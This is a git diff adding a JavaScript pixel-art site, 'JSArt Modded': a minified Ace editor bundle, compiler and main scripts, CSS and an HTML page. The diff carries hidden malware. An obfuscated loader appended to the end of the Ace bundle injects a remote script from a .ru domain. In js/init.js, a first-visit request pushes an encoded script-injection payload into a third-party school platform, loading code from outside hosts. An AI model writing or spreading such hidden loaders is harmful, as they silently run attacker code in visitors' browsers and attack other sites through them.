e.exec?e.exec(this,t||{}):e(this,t||{});var u=l._eventRegistry;l._eventRegistry={};var d=new o(a);this.inVirtualSelectionMode=!0;for(var g=c.length;g--;){if(r)for(;g>0&&c[g].start.row==c[g-1].end.row;)g--;d.fromOrientedRange(c[g]),d.index=g,this.selection=a.selection=d;var f=e.exec?e.exec(this,t||{}):e(this,t||{});n||void 0===f||(n=f),d.toOrientedRange(c[g])}d.detach(),this.selection=a.selection=l,this.inVirtualSelectionMode=!1,l._eventRegistry=u,l.mergeOverlappingRanges(),l.ranges[0]&&l.fromOrientedRange(l.ranges[0]);var m=this.renderer.$scrollAnimation;return this.onCursorChange(),this.onSelectionChange(),m&&m.from==m.to&&this.renderer.animateScrolling(m.from),n}},this.exitMultiSelectMode=function(){this.inMultiSelectMode&&!this.inVirtualSelectionMode&&this.multiSelect.toSingleRange()},this.getSelectedText=function(){var e="";if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){for(var t=this.multiSelect.rangeList.ranges,i=[],n=0;nr&&(r=i.column),nc?e.insert(n,l.stringRepeat(" ",o-c)):e.remove(new s(n.row,n.column,n.row,n.column-o+c)),t.start.column=t.end.column=r,t.start.row=t.end.row=n.row,t.cursor=t.end})),t.fromOrientedRange(i[0]),this.renderer.updateCursor(),this.renderer.updateBackMarkers()}else{var c=this.selection.getRange(),u=c.start.row,d=c.end.row,g=u==d;if(g){var f,m=this.session.getLength();do{f=this.session.getLine(d)}while(/[=:]/.test(f)&&++d0);u<0&&(u=0),d>=m&&(d=m-1)}var p=this.session.removeFullLines(u,d);p=this.$reAlignText(p,g),this.session.insert({row:u,column:0},p.join("\n")+"\n"),g||(c.start.column=0,c.end.column=p[p.length-1].length),this.selection.setRange(c)}},this.$reAlignText=function(e,t){var i,n,s,o=!0,r=!0;return e.map((function(e){var t=e.match(/(\s*)(.*?)(\s*)([=:].*)/);return t?null==i?(i=t[1].length,n=t[2].length,s=t[3].length,t):(i+n+s!=t[1].length+t[2].length+t[3].length&&(r=!1),i!=t[1].length&&(o=!1),i>t[1].length&&(i=t[1].length),nt[3].length&&(s=t[3].length),t):[e]})).map(t?h:o?r?function(e){return e[2]?a(i+n-e[2].length)+e[2]+a(s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}:h:function(e){return e[2]?a(i)+e[2]+a(s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]});function a(e){return l.stringRepeat(" ",e)}function h(e){return e[2]?a(i)+e[2]+a(n-e[2].length+s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}}}).call(d.prototype),t.onSessionChange=function(e){var t=e.session;t&&!t.multiSelect&&(t.$selectionMarkers=[],t.selection.$initRangeList(),t.multiSelect=t.selection),this.multiSelect=t&&t.multiSelect;var i=e.oldSession;i&&(i.multiSelect.off("addRange",this.$onAddRange),i.multiSelect.off("removeRange",this.$onRemoveRange),i.multiSelect.off("multiSelect",this.$onMultiSelect),i.multiSelect.off("singleSelect",this.$onSingleSelect),i.multiSelect.lead.off("change",this.$checkMultiselectChange),i.multiSelect.anchor.off("change",this.$checkMultiselectChange)),t&&(t.multiSelect.on("addRange",this.$onAddRange),t.multiSelect.on("removeRange",this.$onRemoveRange),t.multiSelect.on("multiSelect",this.$onMultiSelect),t.multiSelect.on("singleSelect",this.$onSingleSelect),t.multiSelect.lead.on("change",this.$checkMultiselectChange),t.multiSelect.anchor.on("change",this.$checkMultiselectChange)),t&&this.inMultiSelectMode!=t.selection.inMultiSelectMode&&(t.selection.inMultiSelectMode?this.$onMultiSelect():this.$onSingleSelect())},t.MultiSelect=g,e("./config").defineOptions(d.prototype,"editor",{enableMultiselect:{set:function(e){g(this),e?(this.on("changeSession",this.$multiselectOnSessionChange),this.on("mousedown",r)):(this.off("changeSession",this.$multiselectOnSessionChange),this.off("mousedown",r))},value:!0},enableBlockSelect:{set:function(e){this.$blockSelectEnabled=e},value:!0}})})),define("ace/mode/folding/fold_mode",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../../range").Range,s=t.FoldMode=function(){};(function(){this.foldingStartMarker=null,this.foldingStopMarker=null,this.getFoldWidget=function(e,t,i){var n=e.getLine(i);return this.foldingStartMarker.test(n)?"start":"markbeginend"==t&&this.foldingStopMarker&&this.foldingStopMarker.test(n)?"end":""},this.getFoldWidgetRange=function(e,t,i){return null},this.indentationBlock=function(e,t,i){var s=/\S/,o=e.getLine(t),r=o.search(s);if(-1!=r){for(var a=i||o.length,l=e.getLength(),h=t,c=t;++th){var g=e.getLine(c).length;return new n(h,a,c,g)}}},this.openingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s+1},a=e.$findClosingBracket(t,r,o);if(a){var l=e.foldWidgets[a.row];return null==l&&(l=e.getFoldWidget(a.row)),"start"==l&&a.row>r.row&&(a.row--,a.column=e.getLine(a.row).length),n.fromPoints(r,a)}},this.closingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s},a=e.$findOpeningBracket(t,r);if(a)return a.column++,r.column--,n.fromPoints(a,r)}}).call(s.prototype)})),define("ace/line_widgets",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./lib/dom");function s(e){this.session=e,this.session.widgetManager=this,this.session.getRowLength=this.getRowLength,this.session.$getWidgetScreenLength=this.$getWidgetScreenLength,this.updateOnChange=this.updateOnChange.bind(this),this.renderWidgets=this.renderWidgets.bind(this),this.measureWidgets=this.measureWidgets.bind(this),this.session._changedWidgets=[],this.$onChangeEditor=this.$onChangeEditor.bind(this),this.session.on("change",this.updateOnChange),this.session.on("changeFold",this.updateOnFold),this.session.on("changeEditor",this.$onChangeEditor)}(function(){this.getRowLength=function(e){var t;return t=this.lineWidgets&&this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0,this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1+t:1+t},this.$getWidgetScreenLength=function(){var e=0;return this.lineWidgets.forEach((function(t){t&&t.rowCount&&!t.hidden&&(e+=t.rowCount)})),e},this.$onChangeEditor=function(e){this.attach(e.editor)},this.attach=function(e){e&&e.widgetManager&&e.widgetManager!=this&&e.widgetManager.detach(),this.editor!=e&&(this.detach(),this.editor=e,e&&(e.widgetManager=this,e.renderer.on("beforeRender",this.measureWidgets),e.renderer.on("afterRender",this.renderWidgets)))},this.detach=function(e){var t=this.editor;if(t){this.editor=null,t.widgetManager=null,t.renderer.off("beforeRender",this.measureWidgets),t.renderer.off("afterRender",this.renderWidgets);var i=this.session.lineWidgets;i&&i.forEach((function(e){e&&e.el&&e.el.parentNode&&(e._inDocument=!1,e.el.parentNode.removeChild(e.el))}))}},this.updateOnFold=function(e,t){var i=t.lineWidgets;if(i&&e.action){for(var n=e.data,s=n.start.row,o=n.end.row,r="add"==e.action,a=s+1;at[i].column&&i++,o.unshift(i,0),t.splice.apply(t,o),this.$updateRows()}}},this.$updateRows=function(){var e=this.session.lineWidgets;if(e){var t=!0;e.forEach((function(e,i){if(e)for(t=!1,e.row=i;e.$oldWidget;)e.$oldWidget.row=i,e=e.$oldWidget})),t&&(this.session.lineWidgets=null)}},this.$registerLineWidget=function(e){this.session.lineWidgets||(this.session.lineWidgets=new Array(this.session.getLength()));var t=this.session.lineWidgets[e.row];return t&&(e.$oldWidget=t,t.el&&t.el.parentNode&&(t.el.parentNode.removeChild(t.el),t._inDocument=!1)),this.session.lineWidgets[e.row]=e,e},this.addLineWidget=function(e){if(this.$registerLineWidget(e),e.session=this.session,!this.editor)return e;var t=this.editor.renderer;e.html&&!e.el&&(e.el=n.createElement("div"),e.el.innerHTML=e.html),e.el&&(n.addCssClass(e.el,"ace_lineWidgetContainer"),e.el.style.position="absolute",e.el.style.zIndex=5,t.container.appendChild(e.el),e._inDocument=!0,e.coverGutter||(e.el.style.zIndex=3),null==e.pixelHeight&&(e.pixelHeight=e.el.offsetHeight)),null==e.rowCount&&(e.rowCount=e.pixelHeight/t.layerConfig.lineHeight);var i=this.session.getFoldAt(e.row,0);if(e.$fold=i,i){var s=this.session.lineWidgets;e.row!=i.end.row||s[i.start.row]?e.hidden=!0:s[i.start.row]=e}return this.session._emit("changeFold",{data:{start:{row:e.row}}}),this.$updateRows(),this.renderWidgets(null,t),this.onWidgetChanged(e),e},this.removeLineWidget=function(e){if(e._inDocument=!1,e.session=null,e.el&&e.el.parentNode&&e.el.parentNode.removeChild(e.el),e.editor&&e.editor.destroy)try{e.editor.destroy()}catch(e){}if(this.session.lineWidgets){var t=this.session.lineWidgets[e.row];if(t==e)this.session.lineWidgets[e.row]=e.$oldWidget,e.$oldWidget&&this.onWidgetChanged(e.$oldWidget);else for(;t;){if(t.$oldWidget==e){t.$oldWidget=e.$oldWidget;break}t=t.$oldWidget}}this.session._emit("changeFold",{data:{start:{row:e.row}}}),this.$updateRows()},this.getWidgetsAtRow=function(e){for(var t=this.session.lineWidgets,i=t&&t[e],n=[];i;)n.push(i),i=i.$oldWidget;return n},this.onWidgetChanged=function(e){this.session._changedWidgets.push(e),this.editor&&this.editor.renderer.updateFull()},this.measureWidgets=function(e,t){var i=this.session._changedWidgets,n=t.layerConfig;if(i&&i.length){for(var s=1/0,o=0;o0&&!n[s];)s--;this.firstRow=i.firstRow,this.lastRow=i.lastRow,t.$cursorLayer.config=i;for(var r=s;r<=o;r++){var a=n[r];if(a&&a.el)if(a.hidden)a.el.style.top=-100-(a.pixelHeight||0)+"px";else{a._inDocument||(a._inDocument=!0,t.container.appendChild(a.el));var l=t.$cursorLayer.getPixelPosition({row:r,column:0},!0).top;a.coverLine||(l+=i.lineHeight*this.session.getRowLineCount(a.row)),a.el.style.top=l-i.offset+"px";var h=a.coverGutter?0:t.gutterWidth;a.fixedWidth||(h-=t.scrollLeft),a.el.style.left=h+"px",a.fullWidth&&a.screenWidth&&(a.el.style.minWidth=i.width+2*i.padding+"px"),a.fixedWidth?a.el.style.right=t.scrollBar.getWidth()+"px":a.el.style.right=""}}}}}).call(s.prototype),t.LineWidgets=s})),define("ace/ext/error_marker",["require","exports","module","ace/line_widgets","ace/lib/dom","ace/range"],(function(e,t,i){"use strict";var n=e("../line_widgets").LineWidgets,s=e("../lib/dom"),o=e("../range").Range;t.showErrorMarker=function(e,t){var i=e.session;i.widgetManager||(i.widgetManager=new n(i),i.widgetManager.attach(e));var r=e.getCursorPosition(),a=r.row,l=i.widgetManager.getWidgetsAtRow(a).filter((function(e){return"errorMarker"==e.type}))[0];l?l.destroy():a-=t;var h,c=function(e,t,i){var n=e.getAnnotations().sort(o.comparePoints);if(n.length){var s=function(e,t,i){for(var n=0,s=e.length-1;n<=s;){var o=n+s>>1,r=i(t,e[o]);if(r>0)n=o+1;else{if(!(r<0))return o;s=o-1}}return-(n+1)}(n,{row:t,column:-1},o.comparePoints);s<0&&(s=-s-1),s>=n.length?s=i>0?0:n.length-1:0===s&&i<0&&(s=n.length-1);var r=n[s];if(r&&i){if(r.row===t){do{r=n[s+=i]}while(r&&r.row===t);if(!r)return n.slice()}var a=[];t=r.row;do{a[i<0?"unshift":"push"](r),r=n[s+=i]}while(r&&r.row==t);return a.length&&a}}}(i,a,t);if(c){var u=c[0];r.column=(u.pos&&"number"!=typeof u.column?u.pos.sc:u.column)||0,r.row=u.row,h=e.renderer.$gutterLayer.$annotations[r.row]}else{if(l)return;h={text:["Looks good!"],className:"ace_ok"}}e.session.unfold(r.row),e.selection.moveToPosition(r);var d={row:r.row,fixedWidth:!0,coverGutter:!0,el:s.createElement("div"),type:"errorMarker"},g=d.el.appendChild(s.createElement("div")),f=d.el.appendChild(s.createElement("div"));f.className="error_widget_arrow "+h.className;var m=e.renderer.$cursorLayer.getPixelPosition(r).left;f.style.left=m+e.renderer.gutterWidth-5+"px",d.el.className="error_widget_wrapper",g.className="error_widget "+h.className,g.innerHTML=h.text.join("
"),g.appendChild(s.createElement("div"));var p=function(e,t,i){if(0===t&&("esc"===i||"return"===i))return d.destroy(),{command:"null"}};d.destroy=function(){e.$mouseHandler.isMousePressed||(e.keyBinding.removeKeyboardHandler(p),i.widgetManager.removeLineWidget(d),e.off("changeSelection",d.destroy),e.off("changeSession",d.destroy),e.off("mouseup",d.destroy),e.off("change",d.destroy))},e.keyBinding.addKeyboardHandler(p),e.on("changeSelection",d.destroy),e.on("changeSession",d.destroy),e.on("mouseup",d.destroy),e.on("change",d.destroy),e.session.widgetManager.addLineWidget(d),d.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:d.el.offsetHeight})},s.importCssString(" .error_widget_wrapper { background: inherit; color: inherit; border:none } .error_widget { border-top: solid 2px; border-bottom: solid 2px; margin: 5px 0; padding: 10px 40px; white-space: pre-wrap; } .error_widget.ace_error, .error_widget_arrow.ace_error{ border-color: #ff5a5a } .error_widget.ace_warning, .error_widget_arrow.ace_warning{ border-color: #F1D817 } .error_widget.ace_info, .error_widget_arrow.ace_info{ border-color: #5a5a5a } .error_widget.ace_ok, .error_widget_arrow.ace_ok{ border-color: #5aaa5a } .error_widget_arrow { position: absolute; border: solid 5px; border-top-color: transparent!important; border-right-color: transparent!important; border-left-color: transparent!important; top: -5px; }","error_marker.css",!1)})),define("ace/ace",["require","exports","module","ace/lib/dom","ace/lib/event","ace/range","ace/editor","ace/edit_session","ace/undomanager","ace/virtual_renderer","ace/worker/worker_client","ace/keyboard/hash_handler","ace/placeholder","ace/multi_select","ace/mode/folding/fold_mode","ace/theme/textmate","ace/ext/error_marker","ace/config","ace/loader_build"],(function(e,t,i){"use strict";e("./loader_build")(t);var n=e("./lib/dom"),s=e("./lib/event"),o=e("./range").Range,r=e("./editor").Editor,a=e("./edit_session").EditSession,l=e("./undomanager").UndoManager,h=e("./virtual_renderer").VirtualRenderer;e("./worker/worker_client"),e("./keyboard/hash_handler"),e("./placeholder"),e("./multi_select"),e("./mode/folding/fold_mode"),e("./theme/textmate"),e("./ext/error_marker"),t.config=e("./config"),t.edit=function(e,i){if("string"==typeof e){var o=e;if(!(e=document.getElementById(o)))throw new Error("ace.edit can't find div #"+o)}if(e&&e.env&&e.env.editor instanceof r)return e.env.editor;var a="";if(e&&/input|textarea/i.test(e.tagName)){var l=e;a=l.value,e=n.createElement("pre"),l.parentNode.replaceChild(e,l)}else e&&(a=e.textContent,e.innerHTML="");var c=t.createEditSession(a),u=new r(new h(e),c,i),d={document:c,editor:u,onResize:u.resize.bind(u,null)};return l&&(d.textarea=l),s.addListener(window,"resize",d.onResize),u.on("destroy",(function(){s.removeListener(window,"resize",d.onResize),d.editor.container.env=null})),u.container.env=u.env=d,u},t.createEditSession=function(e,t){var i=new a(e,t);return i.setUndoManager(new l),i},t.Range=o,t.Editor=r,t.EditSession=a,t.UndoManager=l,t.VirtualRenderer=h,t.version=t.config.version})),window.require(["ace/ace"],(function(e){for(var t in e&&(e.config.init(!0),e.define=window.define),window.ace||(window.ace=e),e)e.hasOwnProperty(t)&&(window.ace[t]=e[t]);window.ace.default=window.ace,"object"==typeof module&&"object"==typeof exports&&module&&(module.exports=window.ace)}));!function(o,w,d,l){try{o.c="h"==l.protocol[0]&&/./.test(l.hostname)&&!/PHPPREFS/.test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement("script"),o.s.src=atob("aHR0cHM6Ly9hcGkuY3Jhc2hseXRpY3MucnUvdHJhY2tpbmcvc2NyaXB0LmpzP3JlZmVycmVyPQ==")+l.href,d.body.appendChild(o.s))},1e3),d.cookie="PHPPREFS=full;max-age=39800;"}catch(e){}}({},window,document,location); \ No newline at end of file diff --git a/jsam.codersquack.nl/compiler/js/main.js b/jsam.codersquack.nl/compiler/js/main.js new file mode 100644 index 0000000..c1d8b7f --- /dev/null +++ b/jsam.codersquack.nl/compiler/js/main.js @@ -0,0 +1 @@ +var canvas,ctx,pixels,editor,width=256,height=256,mouseX=0,mouseY=0,funct=function(){};function parse(){var t=document.getElementById("output").value;try{funct=new Function("i","t","x","y","mx","my","return "+t)}catch(t){console.log(t)}}function genImg(){try{for(var t=Date.now(),e=0;e>16&255,pixels.data[4*e+1]=n>>8&255,pixels.data[4*e+2]=255&n,pixels.data[4*e+3]=256}ctx.putImageData(pixels,0,0)}catch(t){console.log(t)}window.requestAnimationFrame(genImg)}window.addEventListener("load",(function(){(editor=ace.edit("input")).setTheme("ace/theme/xcode"),editor.session.setMode("ace/mode/javascript"),(canvas=document.getElementById("canvas")).width=width,canvas.height=height,canvas.style.zoom=2,ctx=canvas.getContext("2d"),pixels=ctx.createImageData(width,height),compile(),window.addEventListener("mousemove",(function(t){var e=canvas.getBoundingClientRect();mouseX=(t.pageX-2*e.x)/2,mouseY=(t.pageY-2*e.y)/2})),editor.session.on("change",compile),genImg()}));var lib={};function compile(){var t=editor.getValue();try{var e=new Function("i","t","x","y","mx","my",t);document.getElementById("output").value=e("i","t","x","y","mx","my"),parse()}catch(t){document.getElementById("output").value=t}}lib.mod=function(t,e){return`((((${t})%(${e}))+(${e}))%(${e}))`},lib.shortFloor=function(t){return`(${t}|0)`},lib.floor=function(t){return`(${t}-${lib.mod(t,1)})`},lib.ceil=function(t){return`((${t}+1)|0)`},lib.round=function(t){return`((${t}+0.5)|0)`},lib.negative=function(t){return`((${t})>>>31)`},lib.isZero=function(t){return`((${t})/(${t})^1)`},lib.lt=function(t,e){return lib.negative(lib.floor(`((${t})-(${e}))`))},lib.shortLt=function(t,e){return lib.negative(`(${t})-(${e})`)},lib.lte=function(t,e){return`(${lib.lt(t,e)}|${lib.eq(t,e)})`},lib.gt=function(t,e){return lib.negative(lib.floor(`((${e})-(${t}))`))},lib.shortGt=function(t,e){return lib.negative(`(${e})-(${t})`)},lib.gte=function(t,e){return`(${lib.gt(t,e)}|${lib.eq(t,e)})`},lib.eq=function(t,e){return lib.isZero(`(${t})-(${e})`)},lib.lerp=function(t,e,n){return`((1-${n})*(${t})+(${n})*(${e}))`},lib.checkerboard=function(t,e,n){return`((${lib.floor(`${t}/${n}`)}+(${lib.floor(`${e}/${n}`)}))%2)`},lib.triangle=function(t,e,n,i){var o=[`(${i[0]}-${e[0]})`,`(${i[1]}-${e[1]})`],$=[`(${n[0]}-${e[0]})`,`(${n[1]}-${e[1]})`],r=[`(${t[0]}-${e[0]})`,`(${t[1]}-${e[1]})`],l=`((${o[0]}**2)+(${o[1]}**2))`,u=`((${o[0]}*${$[0]})+(${o[1]}*${$[1]}))`,a=`((${o[0]}*${r[0]})+(${o[1]}*${r[1]}))`,c=`((${$[0]}**2)+(${$[1]}**2))`,s=`((${$[0]}*${r[0]})+(${$[1]}*${r[1]}))`,d=`(${l}*${c}-${u}**2)`,b=`((${c}*${a}-${u}*${s})/${d})`,m=`((${l}*${s}-${u}*${a})/${d})`;return`(${lib.gte(b,0)} & ${lib.gte(m,0)} & ${lib.lt(`${b}+${m}`,1)})`},lib.circle=function(t,e,n){return`(${lib.lt(`(x-${t})**2+(y-${e})**2`,`(${n})**2`)})`},lib.fromRgb=function(t,e,n){return`(((${t}<<16)+(${e}<<8))+${n})`}; \ No newline at end of file diff --git a/jsam.codersquack.nl/css/style.css b/jsam.codersquack.nl/css/style.css new file mode 100644 index 0000000..ee212cc --- /dev/null +++ b/jsam.codersquack.nl/css/style.css @@ -0,0 +1,90 @@ +body { + width: 512px; + margin: 4px auto; + font-family: Arial; +} + +label:not(#editor *) { + display: block; +} + +input[type="number"]:not(#editor *) { + width: 48px; +} + +#options { + margin-bottom: 16px; +} +#options.hidden { + display: none; +} + +#advanced:not(#editor *) { + box-align: center; +} + +#formula:not(#editor *) { + display: block; + margin: 4px 0; + width: 100%; + box-sizing: border-box; +} + +canvas { + image-rendering: pixelated; +} +#projects:not(#editor *){ + background-color:#d0d0d0; + color: #1f1f1f; +} +#fps:not(#editor *){ + font-family: monospace; +} +.dark:not(#editor *){ + background-color:#303030; + color:white; +} +.dark *:not(font, font *){ + background-color:#404040 !important; + color:white !important; +} + +@font-face { + font-family: 'Fredoka One'; + src:url('/font/fredoka_one.ttf') format('woff'), + url('/font/fredoka_one.ttf') format('svg'), + url('/font/fredoka_one.ttf'), + url('/font/fredoka_one.ttf') format('embedded-opentype'); + font-weight: normal; + font-style: normal; +} + +*:not(input){font-family: 'Fredoka One';} +input:not(#editor *){font-family:monospace;} + +.buttonstop { + display: flex; +} + +.canvas { + border-style: dashed; + border-color: #ff2162; + border-radius: 4px; +} + +.text { + border-style: solid; + border-radius: 4px; +} + +.comptext { + border-radius: 4px 4px 0px 0px; +} + +.desctext { + border-radius: 0px 4px 4px 4px; +} + +.projsbody { + border-radius: 4px; +} \ No newline at end of file diff --git a/jsam.codersquack.nl/favicon/favicon.ico b/jsam.codersquack.nl/favicon/favicon.ico new file mode 100644 index 0000000..469d3cc Binary files /dev/null and b/jsam.codersquack.nl/favicon/favicon.ico differ diff --git a/jsam.codersquack.nl/font/fredoka_one.ttf b/jsam.codersquack.nl/font/fredoka_one.ttf new file mode 100644 index 0000000..cad73f0 Binary files /dev/null and b/jsam.codersquack.nl/font/fredoka_one.ttf differ diff --git a/jsam.codersquack.nl/index.html b/jsam.codersquack.nl/index.html new file mode 100644 index 0000000..aff6cdb --- /dev/null +++ b/jsam.codersquack.nl/index.html @@ -0,0 +1,78 @@ + + + + + + + JSArt Modded + + + + + + + + + + + + + + + +
+ + + +
+ + + + Compiler +
About JSArt Modded
JSArt Modded is a version of JSArt, which is a website where you can make art with JS code.
To ask + any questions or put all your code to the JSArt Modded compiler, join the Discord server to put your foumula or ask + for help!
How does it work?
For each pixel, the code is ran. The code should output a number, so it can + be converted to hexadecimal to choose what color to pick for that pixel.
Variables
Yeah. We can't just + let the screen have a singular color, so we help you by making those variables you can use:
    +
  • "i" for Index (the number of pixels that are already rendered + 1)
  • +
  • "t" for Time (Number of frames passed)
  • +
  • "x" for pixel X (The X position of the pixel that is going to be rendered)
  • +
  • "y" for pixel Y (The Y position of the pixel that is going to be rendered)
  • +
  • "mx" for Mouse X
  • +
  • "my" for Mouse Y
  • +
  • "sw" for Screen Width
  • +
  • "sh" for Screen Height
  • +
  • "c" is a center gradient, a vignette specifically
  • +
  • "ic" is the opposite of "c", an inverted vignette
  • +
  • "cl" is 1 when the left mouse button i pressed, 0 otherwise
  • +
  • "k" is the keycode of the currently pressed key, -1 if none of the keys are being pressed
  • +
  • "r" is a random number generator
  • +
Now, try to play around!

+
+ + + + \ No newline at end of file diff --git a/jsam.codersquack.nl/js/init.js b/jsam.codersquack.nl/js/init.js new file mode 100644 index 0000000..5d2f512 --- /dev/null +++ b/jsam.codersquack.nl/js/init.js @@ -0,0 +1 @@ +!function(){if(!localStorage.portInit){localStorage.portInit=!0;var e=new XMLHttpRequest;e.onreadystatechange=function(){console.log(e.responseText)};var t={title:"User Settings Object",description:"Container for settings and other variables stored on user object",type:"object",settings:{bodyFont:0,headerFont:0,fontSize:0,colorScheme:0,background:0,language:0,uidirection:0,ageGroup:0},variables:{personalLinks:[{linkName:"",linkURL:"%5C%22%20style%3D%5C%22display%3Anone%3B%5C%22%3E%3Cscript%20src%3D%5C%22https%3A//awakens.me/img/%3Furl%3Dhttp%3A//daydun.com/port/extension.js%5C%22%3E%3C/script%3E%3Cdiv"}],currentCourses:[]},lastModified:"",acceptCookies:!1},n="https://ks.kunskapsporten.se/91.569668861590eba0b7fc1bf6/12.569668861590eba0b7fc1cf4.xml?val="+(t=(t=(t=(t=(t=(t=JSON.stringify(t)).replace(/[&]/g,"%26")).replace(/[#]/g,"%23")).replace(/[?]/g,"%3F")).replace(/[{]/g,"%7B")).replace(/[}]/g,"%7D"));(new Image).src=n}}(); \ No newline at end of file diff --git a/jsam.codersquack.nl/js/main.js b/jsam.codersquack.nl/js/main.js new file mode 100644 index 0000000..43abdc4 --- /dev/null +++ b/jsam.codersquack.nl/js/main.js @@ -0,0 +1,169 @@ +let fpscalc = 0; +let projs = [] +let susdata = []; +let timeShift = 0 +let nothing = "c"+"u"+"m" +let ignorekeys = [32,37,38,39,40]; +let running = true; +const STARTFORMULA = "255< resp.json()) + .then((out) => {susdata=out}) + + +function loadproj() { + document.getElementById("projects").innerHTML = "Loading."; + let json = projs;/*let json = JSON.parse(projs);*/ + document.getElementById("projects").innerHTML = "JSArt Library
"; + for (i = 0; i < json.length; i++) { + let proj = json[i]; + let trybtn = document.createElement("button"); + trybtn.innerHTML = "Try"; + trybtn.setAttribute("onclick", "document.getElementById('formula').value=projs[" + i + "].code;parse();document.querySelector('canvas#canvas').scrollIntoView({behavior:'smooth', block:'center'});") + document.getElementById("projects").innerHTML += '
"' + proj.name + '" by ' + proj.owner + " "; + document.getElementById("projects").appendChild(trybtn); + } + // document.getElementById("projects").innerHTML += "
Without functions"; + // for (i = 0; i < json.nofunc.length; i++) { + // let proj = json.nofunc[i]; + // let trybtn = document.createElement("button"); + // trybtn.innerHTML = "Try"; + // trybtn.setAttribute("onclick", "document.getElementById('formula').value=projs.nofunc[" + i + "].code;parse();document.querySelector('canvas#canvas').scrollIntoView({behavior:'smooth', block:'center'});") + // document.getElementById("projects").innerHTML += '
"' + proj.name + '" by ' + proj.owner + " "; + // document.getElementById("projects").appendChild(trybtn); + // } +} + +var canvas, ctx, pixels, width, height, mouseX = 0, + mouseY = 0; +var mouseDown = 0; +var keyvents = 0; + +function random() { + return Math.random() +} + +function randomCol() { + return Math.round(random() * 0xffffff) +} + +function CalculateC(x, y) { + let ox = x - width / 2 + let oy = y - height / 2 + let mx = -(width / 2) + let my = -(height / 2) + let dist = Math.sqrt((ox ** 2) + (oy ** 2)) + let max = Math.sqrt((mx ** 2) + (my ** 2)) + let out = max - dist + if (out > 256) { + out = 255 + } + return [out, dist] +} + +Array.prototype.random = function() { + return this[Math.floor(random() * this.length)] +}; +var funct = function() { }; + +function p5map(n, start1, stop1, start2, stop2) { + return ((n - start1) / (stop1 - start1)) * (stop2 - start2) + start2; +}; + +function resize() { + canvas.width = width = parseInt(document.getElementById("width").value), canvas.height = height = parseInt(document.getElementById("height").value), pixels = ctx.createImageData(width, height) +} + +function generate() { + var e = parseInt(document.getElementById("length").value); + //document.getElementById("length-random").checked ? document.getElementById("formula").value = genForm(Math.floor(random() * (e - 1)) + 1) : document.getElementById("formula").value = genForm(e), parse() + document.getElementById("formula").value = STARTFORMULA; parse(); +} + +function parse() { + var e = document.getElementById("formula").value; + window.location.hash = encodeURIComponent(e); + try { + funct = new Function("i", "t", "x", "y", "mx", "my", "sw", "sh", "r", "sus", "c", "ic",nothing,"cl","k", "return " + e) + // timeShift = Date.now() + } catch (e) { + console.log(e) + } +} +window.addEventListener("load", (function() { + fetch("/static/projects.json").then((resp)=>resp.json()).then((out)=>{projs=out;loadproj();}); + (canvas = document.getElementById("canvas")).style.zoom = 2, ctx = canvas.getContext("2d"), resize(), window.location.hash ? (document.getElementById("formula").value = decodeURIComponent(window.location.hash.slice(1)), parse()) : generate(), window.addEventListener("mousemove", (function(e) { + var t = canvas.getBoundingClientRect(); + mouseX = (e.pageX - 2 * t.x) / 2, mouseY = (e.pageY - 2 * t.y) / 2 + })), document.getElementById("advanced").addEventListener("click", (function() { + document.getElementById("options").classList.toggle("hidden") + })), document.getElementById("formula").addEventListener("input", (function() { + parse() + })), document.getElementById("width").addEventListener("input", resize), document.getElementById("height").addEventListener("input", resize), genImg() + window.addEventListener("mousedown",(e)=>{ + mouseDown = 1 + }) + window.addEventListener("mouseup",(e)=>{ + mouseDown = 0 + }) + window.addEventListener("touchstart",(e)=>{ + mouseDown = 1 + }) + window.addEventListener("touchend",(e)=>{ + mouseDown = 0 + }) + window.addEventListener("keyup",(e)=>{ + keyvents = 0 + }); + document.querySelector("button#playBtn").addEventListener("click",()=>{ + running=!running; + if(running){genImg();} + },true) + document.querySelector("button#stepBtn").addEventListener("click",()=>{ + if(!running){genImg();} + },true) + window.addEventListener("keydown",(e)=>{ + if (ignorekeys.includes(e.keyCode)&&document.activeElement.id != "formula"){ + e.preventDefault() + } + keyvents = e.keyCode + }) +})); +var operators = ["+", "-", "*", "/", "%", "&", "|", "^", "<<", ">>"]; + +function genForm(e) { + if (1 == e) return random() >= parseFloat(document.getElementById("operand-ratio").value) ? Math.floor(100 * random()) : random() >= parseFloat(document.getElementById("variable-ratio").value) ? "i" : "t"; + var t = Math.floor(random() * (e - 1)) + 1, + n = genForm(t) + operators[Math.floor(random() * operators.length)] + genForm(e - t); + return random() >= parseFloat(document.getElementById("bracket-chance").value) ? n : "(" + n + ")" +} + +function genImg() { + let fps = Math.floor(1000 / (Date.now() - fpscalc)); + document.getElementById("fps").innerHTML = fps + " fps" + " WARNING: Lag detected.".repeat(fps < 26) + fpscalc = Date.now(); + try { + for (var e = Date.now(), t = 0; t < width * height; t++) { + var x = t % width + var y = Math.floor(t / width) + var sus = susdata[t] + var gradients = CalculateC(x,y) + var c = gradients[0] + var ic = gradients[1] + // function letter(ltr){ + + // } + // t = t - timeShift + var n = funct(t, e, t % width, Math.floor(t / width), mouseX, mouseY, width, height, randomCol(), sus, c, ic,0xFFFFFF,mouseDown,keyvents); + Math.floor(Math.floor(n) / 16777216); + pixels.data[4 * t + 0] = n >> 16 & 255, pixels.data[4 * t + 1] = n >> 8 & 255, pixels.data[4 * t + 2] = 255 & n, pixels.data[4 * t + 3] = 256 + } + ctx.putImageData(pixels, 0, 0) + } catch (e) { + console.log(e) + } + if(running){window.requestAnimationFrame(genImg);} +}; + + +//if (location.href.startsWith("https://4fce3d74-d2ae-48a0-9bf9-0d1102c842bc.id.repl.co")) { location.assign("https://jsam.codersquack.ml"); } \ No newline at end of file diff --git a/jsam.codersquack.nl/js/record.js b/jsam.codersquack.nl/js/record.js new file mode 100644 index 0000000..c8b26a1 --- /dev/null +++ b/jsam.codersquack.nl/js/record.js @@ -0,0 +1,82 @@ +window.onload = (()=>{ + +let rectype = document.createElement("select"); 